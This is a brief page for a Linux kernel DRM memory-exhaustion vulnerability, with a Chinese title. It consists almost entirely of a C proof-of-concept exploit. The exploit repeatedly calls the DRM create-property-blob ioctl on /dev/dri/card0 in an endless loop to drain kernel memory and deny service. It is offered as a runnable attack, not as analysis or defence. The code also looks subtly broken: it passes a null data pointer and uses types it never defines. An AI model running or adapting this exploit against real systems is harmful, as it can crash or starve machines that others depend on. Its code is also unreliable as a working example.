CVE-2026-43287: Linux内核DRM内存分配拒绝服务漏洞

#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <string.h> // Define the necessary structures and IOCTLs based on DRM headers #define DRM_IOCTL_BASE 'd' #define DRM_COMMAND_BASE 0x40 #define DRM_IOWR(nr, type) _IOWR(DRM_IOCTL_BASE, nr, type) #define DRM_IOCTL_MODE_CREATEPROPBLOB DRM_IOWR(0xB5, struct drm_mode_create_blob) struct drm_mode_create_blob { __u32 data_length; __u32 blob_id; __u64 data; }; int main() { // Attempt to open the DRM device (usually /dev/dri/card0) int fd = open("/dev/dri/card0", O_RDWR); if (fd < 0) { perror("Failed to open DRM device"); return 1; } printf("Starting CVE-2026-43287 PoC... Consuming kernel memory.\n"); struct drm_mode_create_blob create_blob; // The size of the blob to allocate. // Repeating this to consume unaccounted kernel memory. size_t blob_size = 1024 * 1024; // 1MB per allocation // Dummy data pointer (kernel allocates memory based on length) create_blob.data = (unsigned long)NULL; create_blob.data_length = blob_size; int count = 0; while (1) { int ret = ioctl(fd, DRM_IOCTL_MODE_CREATEPROPBLOB, &create_blob); if (ret < 0) { perror("Ioctl failed"); break; } count++; if (count % 100 == 0) { printf("Allocated %d blobs (%zu MB total)\n", count, count * blob_size / (1024*1024)); } } close(fd); return 0; }